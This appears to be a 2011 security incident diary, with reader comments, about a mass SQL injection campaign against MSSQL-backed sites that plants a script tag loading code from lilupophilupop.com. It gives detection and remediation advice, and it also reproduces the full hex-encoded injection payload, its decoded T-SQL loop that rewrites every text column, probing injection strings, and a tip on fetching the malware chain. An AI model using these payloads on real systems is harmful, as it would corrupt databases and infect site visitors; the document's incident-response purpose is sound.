SQL Injection Attack happening ATM

Published: 2011-12-01
Last Updated: 2011-12-07 13:46:52 UTC
by Mark Hofman (Version: 2)
36 comment(s)

We've had several reports (thanks guys) of sites being injected with the following string: 

"></title><script src="hXXp://lilupophilupop.com/sl.php"></script>

Typically it is inserted into several tables.  From the information gathered so far it looks targeted at ASP, IIS and MSSQL backends, but that is just speculation.  If you find that you have been infected please let us know and if you can share packets, logs  please upload them on the contact form.

Mark

 

UPDATE:

Thanks to those that posted comments and those that worked behind the scenes.  The injection string is along the lines Terry posted in his comments.  the one I ran across is (note not the whole string is provided)

73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404
320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f5220736
56c65637420632e---------snip----------9746c653e3c7363726970742727202729204645544348204e4558542046524f4d
205461626c655f437572736f722049444f2040542c404320454e4420434c4f5345205461626c655f437572736f7220444
5414c4c4f43415445205461626c655f437572736f72+as+varchar%284000%29%29+exec%28%40s%29

Which decodes to: 

declare+@s+varchar(4000)+set+@s=cast(0xset ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('------SNIP-------
IN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="XXXX://lilupophilupop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor+................

When discovered yesterday about 80 sites showed in Google, this morning about 200, by lunch 1000 and a few minutes ago 4000+.  Targets include ASP sites and Coldfusion (Thanks Will) The attack seems to work on all versions of MSSQL.

The hex will show in the IIS log files, so monitor those. Make sure that applications only have the access they require, so if the page does not need to update a DB, then use an account that can only read.

Sources of the attack vary, it is automated and spreading fairly rapidly. As one of the comments mentioned it looks like lizamoon which infected over 1,000,000 sites earlier this year. 

The trail of the files ends up on "adobeflash page" or fake AV.  Blocking access to the lilupophilupop site will prevent infection of clients should they hit an infected site and be redirected.

Mark H - Shearwater

UPDATE 8/12/2011

Firstly thanks to those that have provided comments and additional information.  As of a few minutes ago the approximate number of sites infected is about 160,000 sites. Looking at where the infections are shows .com, .de, & .uk as the most affected regions.

  • .com - 19,100
  • .au - 167
  • .uk - 25,200
  • .fr - 10,900
  • .in - 1,780
  • .ie - 2,350
  • .ca -1,630
  • .be - 4,580
  • .nl - 14,000
  • .de - 23,200
  • .no - 2,410

Based on information in the log files of some incidents the preparation for the attack goes back a little while. Log records show that at least two weeks prior to the actual injection attack the system is being probed for vulnerable pages as well as attempts to identify the product being used.  For example: 

  • 2011-11-16 05:13:55 176.65.161.71 xxxxxxxx.asp  PAGEID=189%27%29%29%2F%2A%2A%2For%2F
    %2A%2A%2F1%3D%40%40version------snip----|Line_1:_Incorrect_syntax_near_')'
  • 2011-11-17 10:50:01 64.191.13.178   /xxxxxxxxxxx.asp  PAGEID=189%29%2F%2A%2A%2For%2F
    %2A%2A%2F1%3D%40%40version--------snip----Syntax_error_converting_the_
    varchar_value_'189)/**/or/**/1=@@version--'_to_a_column_of_data_type_int.
  • 2011-11-17 14:48:09 213.229.96.13   /xxxxxxxxxxx.asp  PAGEID=189%2F%2A%2A%2For%2F%2A
    %2A%2F1%3D%40%40version%29%29------snip----|Syntax_error_converting_the_
    varchar_value_'189/**/or/**/1=@@version))--'_to_a_column_of_data_type_int.
  • 2011-11-19 22:24:41 94.228.222.41   /xxxxxxxxxxx.asp  PAGEID=189%27%2F%2A%2A%2For%2F%2A%2A%2F1%3D%40%40version%29------snip----|Line_1:_Incorrect_syntax_near_')'.

From the above you can see that over time there are a few attempts, then the next day the next attempt appears in the log files. The attempts are from different IP addresses, but there certainly is some progression based on responses received. In this instance the PAGEID=189 parameter on page xxxxxxxx.asp is vulnerable.  If you search your log files for 500 errors, go back a few weeks, you will find the probing queries.

If you are still battling this, please make sure that you identify the entry page.  If you restore your DB and bring the system back online without identifying the entry point, then it will only be a matter of time before the system is re-compromised.

I put some things you might look for in the comments section of the diary.  The easiest place to start will be to look for the 500 error messages, mainly because the final injection is likely to cause your DB product to throw an error which will show as a 500 error. Even if it does not, you may be able to identify the probing queries and from those identify the final injection.  

When looking at fixing the problem do not forget that this vulnerability is a coding issue. You may need to make application changes. To address the issue make sure you perform proper input validation for every parameter you accept.

Mark H - Shearwater

36 comment(s)

Comments

Reminds me of LizaMoon...inject a stored XSS into the webapp's backend db...
For those who want to use curl to play follow the bouncing malware, set the user agent string to a value used by a common browser, i.e --user-agent 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'

If you don't do this, a 404 reponse is returned, but if the client looks like an ordinary browers, it will return a 200 reponse with a javascript redirect in the body. It looks like the bad guys may be tracking repeat visits from the same IP address since subsequet requests even with a common user agent receive a 200 OK header reponse, but there is not content.

The interesting stuff appears to be at hxxp://www2.thebestbesentinel.rr.nu but that's as far as I've tracked it

we were hit by this, here is the payload from IIS logs:

2011-12-01 17:12:08 W3SVC1505444441 OURIP GET /VALIDPAGE VALIDPARAM=0&VALIDPARAM=122+declare+%40s+varchar%284000%29+set+%40s%3Dcast%280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar%284000%29%29+exec%28%40s%29-- 80 - 78.46.28.97 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.0) 200 0 0


set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilupophilupop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor?
Yes, same here, the hex code in the access logs was

73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72
The IP address it came from was:

96.9.149.76 - - [30/Nov/2011:15:42:17 -0500]
It's a SQL Server exploit, not dependent on ASP and possibly not IIS either. It hit us and we're running Coldfusion.
Thanks Will, I updated the diary.
We got hit from IP 78.46.28.97 @ around 21:14 UTC yesterday - looks like the same hex dump - if you want entire entry from IIS log i can post - the hex dump you provided helped us find this attack vector in our logs to explain the symptoms we dealt with late yesterday- thank you!
Thanks for working on this guys...for those of us that aren't quite as clever, can you explain for the layperson how this attack happened and what, if anything, we can do to prevent it happening again?
We got hit first time on Friday morning (Australia time). I spent most of yesterday fixing what I could, and now we've been hit again, but in different tables.
Thanks.
There is an article I was reading just 10 minutes ago that describes the way the payload works:

http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html

Diary Archives